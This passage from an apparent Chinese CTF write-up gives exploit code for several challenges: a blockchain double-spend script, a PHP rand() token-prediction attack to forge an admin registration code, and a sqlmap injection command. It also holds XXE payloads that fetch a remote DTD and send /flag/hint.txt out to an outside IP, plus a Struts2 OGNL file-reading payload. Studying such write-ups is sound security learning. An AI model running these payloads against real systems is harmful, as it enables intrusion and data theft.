".eJzNll1vozgYhf_KKte9AANNGGkvwpIgorERiQljr1YjvgoYSKsmnQSP-t_3kPnaaVdzsdpZbaq0qYPx6_Oe55iPs7y_L7rj7M3HmeMQs6rmd5lrE3Lrmqbl2M6c5K6dEdNxy2peEsNy7bmzWJBi4dr53HDssnCdeUUy25zu0WTHZvr7Sz57M2M8GWm67xmRTcTjkSrhUL7SjMcm05s24tuGqpUZpVtcg-996jC_MCO_HoWuHRaEFvUTQwYY52VPh5VB419_nT3fzJqqrZvT7A25mR3uD0X1dVGx8_r8nWdUO6_NA1dl508THh6rD98u4oXBgn1LldfTILwwQs-SbxXVhU39dYcKHIw7dIgdqWJTTNdxrB5Qg_I9Kq9NwVcXqoWmwcqSPDbE54VOj9nhmBWn9v4AWX__A0PzIrfzrMgcMyeOQcxbq3QWRWFhML9zcydfkNu72_x2QexbMjeqynLdam6TyiZZOXfc18oS1rJg0wiyMmkajowvR8qFln5iC0L19btBOEKhVj8kUsmWqXpkvhiZ9nrJqROlicX8TY93IyfVXyhrvFR2HzR9uN4-5Oleh_5SvzUemrxdoG1LJ1yxe5E6SqaXY26FdU7sWhw2D_lwxGdRF2SvsPcuRGFZevlQvotrObjj9D-ued0h3PT8r7-Xf9uhF9pSElqC10bkJ6bQgqD30DkeJV9ZLIWjgxWJODQm8A0PL0IlBlOyF0NyZlx2IoVv1Lql0JiRdQv3d19c2x4enk6TKW5m90-nT58_zrKyfPxmTbVBq_pWKmoDGMCB6bxDa-Mzxhzq73sZrAxBsEy6GkUqLmyILcr7ll1bXhhCMYDloa1lg_GeBQDMX_csDWHVwha66eUQE2xFU8xhenmBnfVk66nMbLh_OqA207i-br4XKOIbzJbd1Ti8A9LiEkEcqulZKKyQAiwNXP0CFSdWBGNGfIlqWS-n3Whgk1JcR1GtbKRaK_oZnrb8uozkm1YMmw69OFFV2_Q3w2B-Mr7lfcP85YnpEALFNjZkUZKcZ8_PkPXY1ofs9PRYXdGb4Mvmtl3lxKiM3JwXRmUX1nxhmOVi4Rq5S0r3znZyozJN2yhs08ndhZMh-24tI5tXtl28gu9nhscX-MyX8O1W6zDenevdzvP4zkt2q6SOu3W0G72Im0XzCqCfGRE_BkgGU5SHJh22SmgPDiwHOQhLBkxFKWugXQNXozLWC1TEeNNNeka-p6TqCGA7s2tVk6PhjQBz6u8B-sce-QF5EZ-Ar0dK9pi876PpyOGhLYYYx5EwpA9C0lAzFZoilS2C4hKlUxBscbx1FkUQRMGkcGjLNMYxtoVHtgNLp_v1kw69IFATfojS1Rk-gndQoN5OYXH5K3nu9fUCvOn8FDokQPYi-XqIeKEn0QTOUwhuMV3AcOGF-vU58q_nLgTEWRskaOUGZl3BqJ3FOBbXxYUiCthr8FiKffrURrKcrkkyGoZUS_IW6RH53YlxHM1-0133GOw7gHfzfw6xlypqb5C-VEL1PX7blCeYE-soWA_AFJAsL0x3QFT2TKN1Exo-kB_oBAfq8jo5MMX8CawY0jStXL5WkU_U90jJ-iTVXkU7qOgL6y2vp_Q7yTRBDkKKqz1Z_zq-vmiZJjZgVbDhmSoGWwJSzRCbFOtvoXEP_wucS5sWmhLBu7MMEmjkIYpQa4rzSbOWDqEzxTb0mp6osGcgFgBTzQbJ4RbdDzSlppz2xXsFN42w6MQMfrC5ujpUx_b4_vrE-P4_ex4Z758e35ct2nkokTbG858lvWhh.DgANcA.6CMFZnK_d-iV9nVLo8ptBTY2ejM" cookies = {"session": session} req = s.get( "http://116.85.48.107:5000/b9ca5f959dd7e/", cookies=cookies) block1 = {} block1["prev"] = GENESIS_BLOCK_HASH block1["transactions"] = getTrans() block1 = burst(block1, DIFFICULTY) # 创世区块 req1 = s.post("http://116.85.48.107:5000/b9ca5f959dd7e/create_transaction", data=myprint(block1), headers=headers(session)) print "req1:" print req1.content # 区块二 因为reset,此时链最长(少则一次多则两次)钻石+1 商店转走钱 此时区块长度为3(商店转走会生成一个新的区块) session2 = req1.headers['Set-Cookie'].split(";")[0][8:] block2 = emptyBlock(block1['hash'], "empty2") req2 = s.post("http://116.85.48.107:5000/b9ca5f959dd7e/create_transaction", data=json.dumps(block2), headers=headers(session2)) print "req2:" print req2.content # 区块三 从区块二开始挖矿 session3 = req2.headers['Set-Cookie'].split(";")[0][8:] block3 = emptyBlock(block2['hash'], "empty3") req3 = s.post("http://116.85.48.107:5000/b9ca5f959dd7e/create_transaction", data=json.dumps(block3), headers=headers(session3)) print "req3:" print req3.content # 区块四 这时链变为最长的了,钻石+1 商店转走 区块 长度变为5 session4 = req3.headers['Set-Cookie'].split(";")[0][8:] block4 = emptyBlock(block3['hash'], "empty4") req4 = s.post("http://116.85.48.107:5000/b9ca5f959dd7e/create_transaction", data=json.dumps(block4), headers=headers(session4)) print "req4:" print req4.content # 区块五 这确保链会最长 session5 = req4.headers['Set-Cookie'].split(";")[0][8:] block5 = emptyBlock(block4['hash'], "empty5") req5 = s.post("http://116.85.48.107:5000/b9ca5f959dd7e/create_transaction", data=json.dumps(block5), headers=headers(session5)) print "req5:" print req5.content # 获取flag session6 = req5.headers['Set-Cookie'].split(";")[0][8:] req6 = s.get("http://116.85.48.107:5000/b9ca5f959dd7e/flag", headers=headers(session6)) print "flag:" print req6.content if __name__ == '__main__': main()
0x04参考
5.我的博客
<?php session_start(); include('config.php'); if($_SERVER['REQUEST_METHOD'] === "POST") { if(!(isset($_POST['csrf']) and (string)$_POST['csrf'] === $_SESSION['csrf'])) { die("CSRF token error!"); } $admin = "admin###" . substr(str_shuffle('0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ'), 0, 32); $username = (isset($_POST['username']) === true && $_POST['username'] !== '') ? (string)$_POST['username'] : die('Missing username'); $password = (isset($_POST['password']) === true && $_POST['password'] !== '') ? (string)$_POST['password'] : die('Missing password'); $code = (isset($_POST['code']) === true) ? (string)$_POST['code'] : ''; if (strlen($username) > 32 || strlen($password) > 32) { die('Invalid input'); } $sth = $pdo->prepare('SELECT username FROM users WHERE username = :username'); $sth->execute([':username' => $username]); if ($sth->fetch() !== false) { die('username has been registered'); } if($code === $admin) { $identity = "admin"; } else { $identity = "guest"; } $sth = $pdo->prepare('INSERT INTO users (username, password, `identity`) VALUES (:username, :password, :identity)'); $sth->execute([':username' => $username, ':password' => $password, ':identity' => $identity]); echo '<img src="data:image/gif;base64,R0lGODlhAQABAIAAAAAAAP///yH5BAEAAAAALAAAAAABAAEAAAIBRAA7" data-wp-preserve="%3Cscript%3Ealert(%22register%20success%22)%3Blocation.href%3D%22.%2Flogin.php%22%3C%2Fscript%3E" data-mce-resize="false" data-mce-placeholder="1" class="mce-object" width="20" height="20" alt="<script>" title="<script>" />'; } else { ?> <!DOCTYPE html> <html lang="en"> <head> <meta charset="utf-8"> <meta http-equiv="X-UA-Compatible" content="IE=edge"> <meta name="viewport" content="width=device-width, initial-scale=1"> <meta name="description" content=""> <meta name="author" content=""> <title>Sign up</title> <link href="css/bootstrap.min.css" rel="stylesheet"> <link href="css/signin.css" rel="stylesheet"> </head> <body> <div class="container"> <form class="form-signin" action="register.php" method="post"> <h2 class="form-signin-heading">Please Sign up</h2> <input type="hidden" name="csrf" id="csrf" value="<?php $_SESSION['csrf'] = (string)rand();echo $_SESSION['csrf']; ?>" required> <label for="inputUsername" class="sr-only">Username</label> <input type="text" name="username" id="inputUsername" class="form-control" placeholder="Username" required autofocus> <label for="inputPassword" class="sr-only">Password</label> <input type="password" name="password" id="inputPassword" class="form-control" placeholder="Password" required> <label for="inputCode" class="sr-only">Code</label> <input type="text" name="code" id="inputCode" class="form-control" placeholder="Code" required> <button class="btn btn-lg btn-primary btn-block" type="submit">Sign up</button> </form> </div> </body> </html> <?php } ?>
<?php session_start(); include('config.php'); if($_SERVER['REQUEST_METHOD'] === "POST") { if(!(isset($_POST['csrf']) and (string)$_POST['csrf'] === $_SESSION['csrf'])) { die("CSRF token error!"); } $username = (isset($_POST['username']) === true && $_POST['username'] !== '') ? (string)$_POST['username'] : die('Missing username'); $password = (isset($_POST['password']) === true && $_POST['password'] !== '') ? (string)$_POST['password'] : die('Missing password'); if (strlen($username) > 32 || strlen($password) > 32) { die('Invalid input'); } $sth = $pdo->prepare('SELECT password FROM users WHERE username = :username'); $sth->execute([':username' => $username]); if ($sth->fetch()[0] !== $password) { die('wrong password'); } $sth = $pdo->prepare('SELECT `identity` FROM users WHERE username = :username'); $sth->execute([':username' => $username]); if ($sth->fetch()[0] === "admin") { $_SESSION['is_admin'] = true; } else { $_SESSION['is_admin'] = false; } #echo $username; header("Location: index.php"); } else { ?> <!DOCTYPE html> <html lang="en"> <head> <meta charset="utf-8"> <meta http-equiv="X-UA-Compatible" content="IE=edge"> <meta name="viewport" content="width=device-width, initial-scale=1"> <meta name="description" content=""> <meta name="author" content=""> <title>Signin</title> <link href="css/bootstrap.min.css" rel="stylesheet"> <link href="css/signin.css" rel="stylesheet"> </head> <body> <div class="container"> <form class="form-signin" action="login.php" method="post"> <h2 class="form-signin-heading">Please Sign in</h2> <input type="hidden" name="csrf" id="csrf" value="<?php $_SESSION['csrf'] = (string)rand();echo $_SESSION['csrf']; ?>" required> <label for="inputUsername" class="sr-only">Username</label> <input type="text" name="username" id="inputUsername" class="form-control" placeholder="Username" required autofocus> <label for="inputPassword" class="sr-only">Password</label> <input type="password" name="password" id="inputPassword" class="form-control" placeholder="Password" required> <button class="btn btn-lg btn-primary btn-block" type="submit">Sign in</button> <a href="register.php" class="btn btn-primary btn-lg btn-block" role="button">Sign up</a> </form> </div> </body> </html> <?php } ?>
<?php session_start(); include "config.php"; if (!isset($_SESSION['is_admin'])) { die(' Please <a href="login.php">login</a>!'); } if (!$_SESSION['is_admin']) { die('You are not admin. Please <a href="login.php">login</a>!'); } if(isset($_GET['id'])){ $id = addslashes($_GET['id']); if(isset($_GET['title'])){ $title = addslashes($_GET['title']); $title = sprintf("AND title='%s'", $title); }else{ $title = ''; } $sql = sprintf("SELECT * FROM article WHERE id='%s' $title", $id); foreach ($pdo->query($sql) as $row) { echo " <h1>".$row['title']."</h1> ".$row['content']; die(); } } ?> <!DOCTYPE html> <html lang="en"> <head> <meta charset="utf-8"> <meta http-equiv="X-UA-Compatible" content="IE=edge"> <meta name="viewport" content="width=device-width, initial-scale=1"> <meta name="description" content=""> <meta name="author" content=""> <title>Admin</title> <link href="css/bootstrap.min.css" rel="stylesheet"> <link href="css/sticky-footer.css" rel="stylesheet"> </head> <body> <div class="container"> <div class="page-header"> <h1>文章列表</h1> </div> <div class="lead"> <li><a href='?id=1'>Welcome!</a> </li> <li><a href='?id=2'>Hello,world!</a> </li> </div> </div> <footer class="footer"> <div class="container"> ©2017 Admin </div> </footer> </body> </html>
$admin = "admin###" . substr(str_shuffle('0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ'), 0, 32);
randList = [] for i in range(32): req = s.get(url + "register.php") randList.append(int(re.search(partten, req.text).group(1))) for i in range(32, 120): #rand的范围是 0 -max max的范围是32767 - 2147483647 (机器决定的,64位为2147483647) rand = (randList[i - 3] + randList[i - 31]) % 2147483647 randList.append(rand) print("开始测试第33个csrftoken: " + str(randList[32])) req = s.get(url + "register.php") csrf = re.search(partten, req.text).group(1) print("url中的csrf是: " + csrf)
static void php_string_shuffle(char * str, long len TSRMLS_DC) / * {{{* / { long n_elems, rnd_idx, n_left; char temp; / * The implementation is stolen from array_data_shuffle * / / * Thus the characteristics of the randomization are the same * / n_elems = len; if (n_elems <= 1) { return; } n_left = n_elems; while (--n_left) { rnd_idx = php_rand(TSRMLS_C); RAND_RANGE(rnd_idx, 0, n_left, PHP_RAND_MAX); if (rnd_idx != n_left) { temp = str[n_left]; str[n_left] = str[rnd_idx]; str[rnd_idx] = temp; } } }
def RAND_RANGE(__n, __min, __max, __tmax): return __min + (__max - __min + 1.0) * (__n / (__tmax + 1.0)) def shuffle(astr, randlist): n_elems = len(astr) astr = bytearray(astr, 'utf-8') if n_elems <= 1: return n_left = n_elems i = 0 while n_left: n_left -= 1 rnd_idx = randlist[33 + i] i += 1 rnd_idx = int(RAND_RANGE(rnd_idx, 0, n_left, 2147483647)) if rnd_idx != n_left: astr[n_left], astr[rnd_idx] = astr[rnd_idx], astr[n_left] return astr
# -*- coding:utf-8 -*- # written by python3.5 import re import requests url = "http://116.85.39.110:5032/a8e794800ac5c088a73b6b9b38b38c8d/" s = requests.Session() partten = '<input type="hidden" name="csrf" id="csrf" value="([0-9]*)" required>' def RAND_RANGE(__n, __min, __max, __tmax): return __min + (__max - __min + 1.0) * (__n / (__tmax + 1.0)) def shuffle(astr, randlist): n_elems = len(astr) astr = bytearray(astr, 'utf-8') if n_elems <= 1: return n_left = n_elems i = 0 while n_left: n_left -= 1 rnd_idx = randlist[33 + i] i += 1 rnd_idx = int(RAND_RANGE(rnd_idx, 0, n_left, 2147483647)) if rnd_idx != n_left: astr[n_left], astr[rnd_idx] = astr[rnd_idx], astr[n_left] return astr def getAdmin(): randList = [] for i in range(32): req = s.get(url + "register.php") randList.append(int(re.search(partten, req.text).group(1))) for i in range(32, 120): #rand的范围是 0 -max max的范围是32767 - 2147483647 (机器决定的,64位为2147483647) rand = (randList[i - 3] + randList[i - 31]) % 2147483647 randList.append(rand) print("开始测试第33个csrftoken: " + str(randList[32])) req = s.get(url + "register.php") csrf = re.search(partten, req.text).group(1) print("url中的csrf是: " + csrf) astr = "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ" bstr = shuffle(astr, randList) calcStr = "admin###" + bstr[0:32].decode('utf-8') print(calcStr) data = { "csrf": csrf, "username": "youncyb", "password": "1", "code": calcStr } req = s.post(url + "register.php", data=data) print(req.text) getAdmin()
python2 sqlmap.py -u "http://116.85.39.110:5032/a8e794800ac5c088a73b6b9b38b38c8d/index.php?id=2&title=Hello,world!" --prefix="%1$'" --suffix="--+" -p title --cookie="PHPSESSID=c925455c7354393bb59eb02c8dfea971" --dump
6.喝杯JAVA冷静下
0x01题目分析
0x02 代码分析
package com.eliteams.quick4j.web.controller; import com.eliteams.quick4j.web.model.User; import com.eliteams.quick4j.web.service.UserService; import java.io.ByteArrayInputStream; import java.io.File; import java.io.IOException; import java.io.InputStream; import java.io.PrintStream; import javax.annotation.Resource; import javax.servlet.ServletContext; import javax.servlet.http.HttpServletRequest; import javax.servlet.http.HttpSession; import javax.validation.Valid; import javax.xml.parsers.DocumentBuilder; import javax.xml.parsers.DocumentBuilderFactory; import javax.xml.parsers.ParserConfigurationException; import org.apache.commons.io.FileUtils; import org.apache.shiro.SecurityUtils; import org.apache.shiro.authc.AuthenticationException; import org.apache.shiro.authc.UsernamePasswordToken; import org.apache.shiro.authz.annotation.RequiresPermissions; import org.apache.shiro.authz.annotation.RequiresRoles; import org.apache.shiro.subject.Subject; import org.springframework.http.HttpHeaders; import org.springframework.http.HttpStatus; import org.springframework.http.MediaType; import org.springframework.http.ResponseEntity; import org.springframework.stereotype.Controller; import org.springframework.ui.Model; import org.springframework.validation.BindingResult; import org.springframework.web.bind.annotation.RequestMapping; import org.springframework.web.bind.annotation.ResponseBody; import org.w3c.dom.Document; import org.xml.sax.SAXException; @Controller @RequestMapping({"/user"}) public class UserController { public static final String hintFile = "/flag/hint.txt"; @Resource private UserService userService; @RequestMapping(value={"/login"}, method={org.springframework.web.bind.annotation.RequestMethod.POST}) public String login(@Valid User user, BindingResult result, Model model, HttpServletRequest request) { try { Subject subject = SecurityUtils.getSubject(); if (subject.isAuthenticated()) { return "redirect:/"; } if (result.hasErrors()) { model.addAttribute("error", "����������"); return "login"; } if ((user.getUsername().isEmpty()) || (user.getUsername() == null) || (user.getPassword().isEmpty()) || (user.getPassword() == null)) { return "login"; } subject.login(new UsernamePasswordToken(user.getUsername(), user.getPassword())); User authUserInfo = this.userService.selectByUsername(user.getUsername()); request.getSession().setAttribute("userInfo", authUserInfo); } catch (AuthenticationException e) { model.addAttribute("error", "���������������� ��"); return "login"; } return "redirect:/"; } @RequestMapping(value={"/logout"}, method={org.springframework.web.bind.annotation.RequestMethod.GET}) public String logout(HttpSession session) { session.removeAttribute("userInfo"); Subject subject = SecurityUtils.getSubject(); subject.logout(); return "login"; } @RequestMapping(value={"/admin"}, produces={"text/html;charset=UTF-8"}) @ResponseBody @RequiresRoles({"admin"}) public String admin() { return "����admin����,������"; } @RequestMapping(value={"/create"}, produces={"text/html;charset=UTF-8"}) @ResponseBody @RequiresPermissions({"user:create"}) public String create() { return "����user:create����,������"; } @RequestMapping(value={"/getInfomation"}, produces={"text/html;charset=UTF-8"}) @ResponseBody @RequiresRoles({"guest"}) public ResponseEntity<byte[]> download(HttpServletRequest request, String filename) throws IOException { if ((filename.contains("../")) || (filename.contains("./")) || (filename.contains("..\\")) || (filename.contains(".\\"))) { return null; } String path = request.getServletContext().getRealPath("/"); System.out.println(path); File file = new File(path + File.separator + filename); HttpHeaders headers = new HttpHeaders(); String downloadFielName = new String(filename.getBytes("UTF-8"), "iso-8859-1"); headers.setContentDispositionFormData("attachment", downloadFielName); headers.setContentType(MediaType.APPLICATION_OCTET_STREAM); return new ResponseEntity(FileUtils.readFileToByteArray(file), headers, HttpStatus.CREATED); } @RequestMapping(value={"/nicaicaikan_url_23333_secret"}, produces={"text/html;charset=UTF-8"}) @ResponseBody @RequiresRoles({"super_admin"}) public String xmlView(String xmlData) { if (xmlData.length() >= 1000) { return "Too long~~"; } DocumentBuilderFactory factory = DocumentBuilderFactory.newInstance(); factory.setExpandEntityReferences(true); try { DocumentBuilder builder = factory.newDocumentBuilder(); InputStream xmlInputStream = new ByteArrayInputStream(xmlData.getBytes()); Document localDocument = builder.parse(xmlInputStream); } catch (ParserConfigurationException e) { e.printStackTrace(); return "ParserConfigurationException"; } catch (SAXException e) { e.printStackTrace(); return "SAXException"; } catch (IOException e) { e.printStackTrace(); return "IOException"; } return "ok~ try to read /flag/hint.txt"; } }
0x03 payload构造
<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE ABC[<!ENTITY % remote SYSTEM "http://118.89.48.29/youncyb.xml"> %remote; ]>
<!ENTITY % file SYSTEM "file:///flag/hint.txt"> <!ENTITY % int "<!ENTITY % send SYSTEM 'http://xxx.xxx.xxx.xxx:5433/%file;'>"> %int; %send;
<!ENTITY % file SYSTEM "http://tomcat_2:8080/"> <!ENTITY % int "<!ENTITY % send SYSTEM 'http://xxx.xxx.xxx.xxx:5433/%file;'>"> %int; %send;
<!ENTITY % file SYSTEM "http://tomcat_2:8080/hello.action"> <!ENTITY % int "<!ENTITY % send SYSTEM 'http://xxx.xxx.xxx.xxx:5433/%file;'>"> %int; %send;
?redirect:${#f=new java.io.File('/flag/flag.txt'),#fs=new java.io.FileInputStream(#f),#ISR=new java.io.InputStreamReader(#fs,'GBK'),#br=new java.io.BufferedReader(#ISR),#lText = #br.readLine(),#ISR.close(),#matt=#context.get('com.opensymphony.xwork2.dispatcher.HttpServletResponse'),#matt.getWriter().println(#lText),#matt.getWriter().flush(),#matt.getWriter().close()}
<!ENTITY % file SYSTEM "http://tomcat_2:8080/hello.action?redirect%3a%24%7b%23f%3dnew+java.io.File(%27%2fflag%2fflag.txt%27)%2c%23fs%3dnew+java.io.FileInputStream(%23f)%2c%23ISR%3dnew+java.io.InputStreamReader(%23fs%2c%27GBK%27)%2c%23br%3dnew+java.io.BufferedReader(%23ISR)%2c%23lText+%3d+%23br.readLine()%2c%23ISR.close()%2c%23matt%3d%23context.get(%27com.opensymphony.xwork2.dispatcher.HttpServletResponse%27)%2c%23matt.getWriter().println(%23lText)%2c%23matt.getWriter().flush()%2c%23matt.getWriter().close()%7d"> <!ENTITY % int "<!ENTITY % send SYSTEM 'http://xxx.xxx.xxx.xxx:5433/%file;'>"> %int; %send;
Comments NOTHING